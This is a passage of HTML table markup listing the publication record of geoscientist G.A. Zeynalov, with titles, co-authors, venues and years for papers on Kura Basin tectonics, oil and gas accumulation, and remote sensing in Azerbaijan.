10px;padding:0px\"><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"54\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><ol style=\"margin:0px;padding:0px;list-style:none\"><li style=\"margin:0px;padding:0px;list-style:decimal\"><strong>&nbsp;</strong></li></ol></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Neotectonics of the Caucasus and Kura Valley, Azerbaijan&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">Journal</p><p style=\"margin:0px 0px 10px;padding:0px\">Article</p></td><td colspan=\"3\" width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">M.Nemčok,</p><p style=\"margin:0px 0px 10px;padding:0px\">A.A. Feyzulayev, F.A. Kadirov, G.A. Zeynalov,</p><p style=\"margin:0px 0px 10px;padding:0px\">R. Allen, C. Christensen and B.Welker</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Tectono-physics”</p><p style=\"margin:0px 0px 10px;padding:0px\">Amsterdam,</p><p style=\"margin:0px 0px 10px;padding:0px\">Netherlands</p><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong></p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">in</p><p style=\"margin:0px 0px 10px;padding:0px\">press</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"3\" width=\"54\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">23 pages</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><ol style=\"margin:0px;padding:0px;list-style:none\"><li style=\"margin:0px;padding:0px;list-style:decimal\"><strong>&nbsp;</strong></li></ol></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">On pyrolysis-based study of the efficiency of primary migration of hydrocarbons from source rocks</p><p style=\"margin:0px 0px 10px;padding:0px\">(in russian)</p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal</p><p style=\"margin:0px 0px 10px;padding:0px\">Article</p></td><td colspan=\"3\" width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">M.F. Tagiyev and&nbsp; G.A.</p><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov</p></td><td width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Proceedings of SOCAR”</p><p style=\"margin:0px 0px 10px;padding:0px\">Baku, Azerbaijan</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">2010</p></td><td colspan=\"3\" width=\"54\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">No2 &amp; pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">16-19</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><ol style=\"margin:0px;padding:0px;list-style:none\"><li style=\"margin:0px;padding:0px;list-style:decimal\"><strong>&nbsp;</strong></li></ol></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Oil and gas accumulation environments of the Kura Basin, concerning with geotectonic conditions.</p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"3\" width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Abstracts of the VII Azerbaijan International Geophysical Conference” Baku, Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2010</p></td><td colspan=\"3\" width=\"54\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">p.93</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><ol style=\"margin:0px;padding:0px;list-style:none\"><li style=\"margin:0px;padding:0px;list-style:decimal\"><strong>&nbsp;</strong></li></ol></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Oil-gas bearing of the Suleyman-Akhtarma area, Azerbaijan. Geophysics News in Azerbaijan,</p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal</p><p style=\"margin:0px 0px 10px;padding:0px\">Article</p></td><td colspan=\"3\" width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Sh.S. Kocharly, A.M. Ahmadov, &amp; G.A.</p><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov</p></td><td width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Geophysics News in Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2009</p></td><td colspan=\"3\" width=\"54\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">No1-2, pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">44-47</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><ol style=\"margin:0px;padding:0px;list-style:none\"><li style=\"margin:0px;padding:0px;list-style:decimal\"><strong>&nbsp;</strong></li></ol></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong>Fluid flow and sealing properties associated with active faults: Kura&nbsp; Basin, Azerbaijan<strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"3\" width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Extended Abstracts of EAGE &amp; AAPG International Conference on Petroleum Geology &amp; Hydrocarbon Potential”</p><p style=\"margin:0px 0px 10px;padding:0px\">Baku Azerb.&nbsp;</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2008</p></td><td colspan=\"3\" width=\"54\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">14-17</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><ol style=\"margin:0px;padding:0px;list-style:none\"><li style=\"margin:0px;padding:0px;list-style:decimal\"><strong>&nbsp;</strong></li></ol></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Structural-geologic evolution of the western flank of the South Caspian Basin. (in Russian).</p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"3\" width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Extended Abstracts of the Second International Conference on Geodynamics of Oil and Gas Content Basins”, Moscow, Russia</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2006</p></td><td colspan=\"3\" width=\"54\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">168-171</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><ol style=\"margin:0px;padding:0px;list-style:none\"><li style=\"margin:0px;padding:0px;list-style:decimal\"><strong>&nbsp;</strong></li></ol></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;Oil and gas prospective in&nbsp; southern-west flank structures of the Gabyrry- Ajinohur basin (in azeri)</p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal</p><p style=\"margin:0px 0px 10px;padding:0px\">Article</p></td><td colspan=\"3\" width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A. and Khanlarova Sh.H.</p></td><td width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Reports of&nbsp; GSRI” Baku,</p><p style=\"margin:0px 0px 10px;padding:0px\">Azerbaijan</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2006</p></td><td colspan=\"3\" width=\"54\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">17-22</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>8</strong></p></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Geologic Risk and Seismic Hazard Assessment in the&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">Southeastern Caucasus Using remote Sensing Data.<strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference Proceedings</p></td><td colspan=\"3\" width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">G.A.</p><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov and E.G.Frost</p></td><td width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“IAMG’05:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GIS and Spatial Analysis” Toronto, Canada</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2005</p></td><td colspan=\"3\" width=\"54\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Vol.1, pp.155-160</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>9</strong></p></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Analysis of structural architectures of Garadagh field and implications&nbsp; to reservoir performance , (in azeri)</p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal</p><p style=\"margin:0px 0px 10px;padding:0px\">Article</p></td><td colspan=\"3\" width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov G.A.</p></td><td width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Reports of&nbsp; GSRI” Baku,</p><p style=\"margin:0px 0px 10px;padding:0px\">Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2005</p></td><td colspan=\"3\" width=\"54\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">21-24</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>10</strong></p></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Analysis of the results of geologic-geophysical investigations and evaluation of oil and gas content in Turkan field, onshore Azerbaijan</p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal</p><p style=\"margin:0px 0px 10px;padding:0px\">Article</p></td><td colspan=\"3\" width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov G.A.</p></td><td width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Reports of&nbsp; GSRI” Baku,</p><p style=\"margin:0px 0px 10px;padding:0px\">Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2005</p></td><td colspan=\"3\" width=\"54\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">12-17</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>11</strong></p></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Analysis of the results of geologic-geophysical investigations and evaluation of oil and gas content in Turkan field, onshore (in Russian)</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal</p><p style=\"margin:0px 0px 10px;padding:0px\">Article</p></td><td colspan=\"3\" width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov G.A</p></td><td width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Reports of&nbsp; GSRI”</p><p style=\"margin:0px 0px 10px;padding:0px\">Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2005</p></td><td colspan=\"3\" width=\"54\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">12-17</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>12</strong></p></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Active tectonics of the Kura Intermountain Basin and its relation with fluid flow<strong>&nbsp;</strong>(in russian)</p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Book chapter</p></td><td colspan=\"3\" width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Geology of Caspian and Aral Seas Regions”</p><p style=\"margin:0px 0px 10px;padding:0px\">Almaty, Kazakhstan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2004</p></td><td colspan=\"3\" width=\"54\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp. 212-217</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">13</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Kura Intermountain Basin: Active Tectonics and Regularities of Distribution of Hydrocarbon Accumulations (in Russian)</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal</p><p style=\"margin:0px 0px 10px;padding:0px\">Article</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Oil and Gas Geology”</p><p style=\"margin:0px 0px 10px;padding:0px\">Moscow, Russia,</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2004</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">No 6, pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">34-38</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">14</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Kura Intermountain Basin: occurrence of oil and gas seeps and environment of hydrocarbon accumulations (in Russian).</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Extended Abstracts of the Seventh International Conference devoted to 250th Anniversary of Moscow University, New Ideas in Geology and Geochemistry of oil and gas” Moscow ,GEOS, Russia</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2004</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">191-192</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">15</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Fault Sealing and Hydrocarbon Occurrence in the Kura Valley, Azerbaijan, ,</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Congress Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Abstracts of the 32nd International Geological Congress, Florence, Italy</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2004</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">(part1) p.</p><p style=\"margin:0px 0px 10px;padding:0px\">697</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">16</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Interrelation between oil seeps, faults and hydrocarbon reserves in Azerbaijan</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Extended Abstracts of the 5th EAGE and AGEO International Conference “Crimea-2003”, Problems of Geodynamics and Oil-gas Content of the Black Sea and Caspian Regions” Crimea, Symferopol, Ukraine</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2003</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">192-195</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">17</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Analysis of Fluvial depositional environment in western coast of the South Caspian Basin using Landsat data</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings of the Fifth International Airborne Remote Sensing Conference and Exhibition San Francisco, USA</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2001</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Vol.I&nbsp; pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">383-386</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">18</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Application remote sensing technology for monitoring of the mud volcano activity in coastal region of the South Caspian Basin</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Proceedings of the Seventh International Conference on Remote Sensing for Marine and Coastal Environments</p><p style=\"margin:0px 0px 10px;padding:0px\">Miami, USA</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2002</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Vol.I</p><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">327-329&nbsp;</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">19</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Geologic significance of Landsat data for oil exploration in Azerbaijan</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal</p><p style=\"margin:0px 0px 10px;padding:0px\">Article</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Proceedings of the Fourteenth International Conference on Applied Geologic Remote Sensing”</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;ERIM International. Las Vegas, USA</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2000</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">212-219</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">20</p></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Importance of Remote Sensing data in Structural Geologic Analysis of Oil- and Gas-Bearing Regions of Azerbaijan</p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal</p><p style=\"margin:0px 0px 10px;padding:0px\">Article</p></td><td width=\"95\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"3\" width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Natural Resources Research”</p><p style=\"margin:0px 0px 10px;padding:0px\">Kluwer Academic Publishers USA</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2000</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Vol. 9, No 4, pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">307-314.</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"7\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">21</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Influences of Faults to formation and Oil Accumulation Zones in the Kura basin</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Extended Abstracts of the 62nd EAGE Conference &amp; Technical Exhibition” SECC, Glasgow, UK</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2000</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Vol. I, p.</p><p style=\"margin:0px 0px 10px;padding:0px\">171-176.</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">22</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p 